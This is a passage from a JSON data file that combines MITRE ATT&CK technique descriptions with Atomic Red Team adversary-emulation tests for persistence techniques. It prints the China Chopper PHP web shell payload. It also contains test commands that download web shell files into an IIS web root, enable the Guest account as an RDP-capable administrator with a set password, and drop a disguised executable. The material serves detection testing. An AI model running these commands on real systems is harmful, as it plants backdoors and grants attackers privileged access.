- "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1131": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:43.135Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1131",
- "url": "https://attack.mitre.org/techniques/T1131"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
- "source_name": "MSDN Authentication Packages"
- },
- {
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
- "source_name": "Graeber 2014"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
- "source_name": "Microsoft Configure LSA"
- }
- ],
- "modified": "2020-01-24T15:43:25.280Z",
- "name": "Authentication Package",
- "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\
with the key value of \"Authentication Packages\"=
. The binary will then be executed by the system when the authentication packages are loaded.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe
with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1152": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1152",
- "url": "https://attack.mitre.org/techniques/T1152"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- }
- ],
- "modified": "2020-03-10T18:31:00.336Z",
- "name": "Launchctl",
- "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"
. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1543.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
- "type": "attack-pattern",
- "created": "2020-01-17T19:23:15.227Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.004",
- "url": "https://attack.mitre.org/techniques/T1543/004"
- },
- {
- "external_id": "CAPEC-550",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/550.html"
- },
- {
- "external_id": "CAPEC-551",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/551.html"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "source_name": "launchd Keywords for plists",
- "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html",
- "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021."
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- },
- {
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
- "source_name": "OSX Malware Detection"
- },
- {
- "source_name": "LaunchDaemon Hijacking",
- "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/",
- "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- }
- ],
- "modified": "2021-10-07T22:10:55.653Z",
- "name": "Create or Modify System Process: Launch Daemon",
- "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/
and /Library/LaunchDaemons/
. Required Launch Daemons parameters include a Label
to identify the task, Program
to provide a path to the executable, and RunAtLoad
to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad
parameter set to true
and the Program
parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin
to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for new files added to the /Library/LaunchDaemons/
folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad
parameter set to true, ensure the Program
parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program
and ProgramArguments
parameters but one must be present.(Citation: launchd Keywords for plists)\n\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Service: Service Creation",
- "Process: Process Creation",
- "Service: Service Modification",
- "Command: Command Execution",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "root",
- "Administrator"
- ],
- "identifier": "T1543.004"
- },
- "atomic_tests": []
- },
- "T1574.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
- "type": "attack-pattern",
- "created": "2020-03-13T17:48:58.999Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.008",
- "url": "https://attack.mitre.org/techniques/T1574/008"
- },
- {
- "external_id": "CAPEC-159",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/159.html"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms682425",
- "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
- "source_name": "Microsoft CreateProcess"
- },
- {
- "source_name": "Windows NT Command Shell",
- "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120",
- "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014."
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms687393",
- "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
- "source_name": "Microsoft WinExec"
- },
- {
- "source_name": "Microsoft Environment Property",
- "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN",
- "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016."
- }
- ],
- "modified": "2020-09-17T19:03:35.217Z",
- "name": "Hijack Execution Flow: Path Interception by Search Order Hijacking",
- "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user
. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user
will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "identifier": "T1574.008"
- },
- "atomic_tests": [
- {
- "name": "powerShell Persistence via hijacking default modules - Get-Variable.exe",
- "auto_generated_guid": "1561de08-0b4b-498e-8261-e922f3494aae",
- "description": "Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:\"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" \"PathToAtomicsFolder\\T1574.008\\bin\\calc.cs\"\nPowershell -noprofile\n",
- "cleanup_command": "Remove-Item \"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" -ErrorAction Ignore\nStop-Process -Name \"calculator\"\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1505.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Arnim Rupp, Deutsche Lufthansa AG"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
- "type": "attack-pattern",
- "created": "2019-12-13T16:46:18.927Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1505.003",
- "url": "https://attack.mitre.org/techniques/T1505/003"
- },
- {
- "external_id": "CAPEC-650",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/650.html"
- },
- {
- "source_name": "Lee 2013",
- "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
- "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
- },
- {
- "source_name": "NSA Cyber Mitigating Web Shells",
- "url": "https://github.com/nsacyber/Mitigating-Web-Shells",
- "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021."
- },
- {
- "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
- "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
- "source_name": "US-CERT Alert TA15-314A Web Shells"
- }
- ],
- "modified": "2021-07-26T13:46:47.993Z",
- "name": "Server Software Component: Web Shell",
- "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>
\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Process: Process Creation",
- "Network Traffic: Network Traffic Flow",
- "File: File Creation",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "User"
- ],
- "x_mitre_system_requirements": [
- "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
- ],
- "identifier": "T1505.003"
- },
- "atomic_tests": [
- {
- "name": "Web Shell Written to Disk",
- "auto_generated_guid": "0a2ce662-1efa-496f-a472-2fe7b080db16",
- "description": "This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.\nIdea from APTSimulator.\ncmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "web_shell_path": {
- "description": "The path to drop the web shell",
- "type": "string",
- "default": "C:\\inetpub\\wwwroot"
- },
- "web_shells": {
- "description": "Path of Web Shell",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1505.003\\src"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Web shell must exist on disk at specified location (#{web_shells})\n",
- "prereq_command": "if (Test-Path #{web_shells}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory #{web_shells} -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp\" -OutFile \"#{web_shells}/b.jsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp\" -OutFile \"#{web_shells}/tests.jsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx\" -OutFile \"#{web_shells}/cmd.aspx\"\n"
- }
- ],
- "executor": {
- "command": "xcopy /I /Y #{web_shells} #{web_shell_path}\n",
- "cleanup_command": "del #{web_shell_path}\\b.jsp /q >nul 2>&1\ndel #{web_shell_path}\\tests.jsp /q >nul 2>&1\ndel #{web_shell_path}\\cmd.aspx /q >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1078.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
- "type": "attack-pattern",
- "created": "2020-03-13T20:15:31.974Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.001",
- "url": "https://attack.mitre.org/techniques/T1078/001"
- },
- {
- "external_id": "CAPEC-70",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/70.html"
- },
- {
- "source_name": "Microsoft Local Accounts Feb 2019",
- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts",
- "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019."
- },
- {
- "source_name": "AWS Root User",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html",
- "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021."
- },
- {
- "source_name": "Threat Matrix for Kubernetes",
- "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
- "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
- },
- {
- "source_name": "Metasploit SSH Module",
- "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh",
- "description": "undefined. (n.d.). Retrieved April 12, 2019."
- }
- ],
- "modified": "2021-04-05T20:14:26.846Z",
- "name": "Valid Accounts: Default Accounts",
- "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.001"
- },
- "atomic_tests": [
- {
- "name": "Enable Guest account with RDP capability and admin privileges",
- "auto_generated_guid": "99747561-ed8d-47f2-9c91-1e5fde1ed6e0",
- "description": "After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,\nand desktop will allow multiple RDP connections.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "guest_user": {
- "description": "Specify the guest account",
- "type": "string",
- "default": "guest"
- },
- "guest_password": {
- "description": "Specify the guest password",
- "type": "string",
- "default": "Password123!"
- },
- "local_admin_group": {
- "description": "Specify the admin localgroup name",
- "type": "string",
- "default": "Administrators"
- },
- "remote_desktop_users_group_name": {
- "description": "Specify the remote desktop users group name",
- "type": "string",
- "default": "Remote Desktop Users"
- },
- "remove_rdp_access_during_cleanup": {
- "description": "Set to 1 if you want the cleanup to remove RDP access to machine",
- "type": "integer",
- "default": 0
- }
- },
- "executor": {
- "command": "net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f",
- "cleanup_command": "net user #{guest_user} /active:no >nul 2>&1\nnet localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /delete >nul 2>&1\nif #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Activate Guest Account",
- "auto_generated_guid": "aa6cb8c4-b582-4f8e-b677-37733914abda",
- "description": "The Adversaries can activate the default Guest user. The guest account is inactivated by default\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "guest_user": {
- "description": "Specify the guest account",
- "type": "string",
- "default": "guest"
- }
- },
- "executor": {
- "command": "net user #{guest_user} /active:yes\n",
- "cleanup_command": "net user #{guest_user} /active:no\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1547.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Scott Lundgren, @5twenty9, Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
- "created": "2020-01-24T15:51:52.317Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.003",
- "url": "https://attack.mitre.org/techniques/T1547/003"
- },
- {
- "source_name": "Github W32Time Oct 2017",
- "url": "https://github.com/scottlundgren/w32time",
- "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018."
- },
- {
- "source_name": "Microsoft W32Time May 2017",
- "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
- "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018."
- },
- {
- "source_name": "Microsoft W32Time Feb 2018",
- "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
- "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018."
- },
- {
- "source_name": "Microsoft TimeProvider",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
- "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
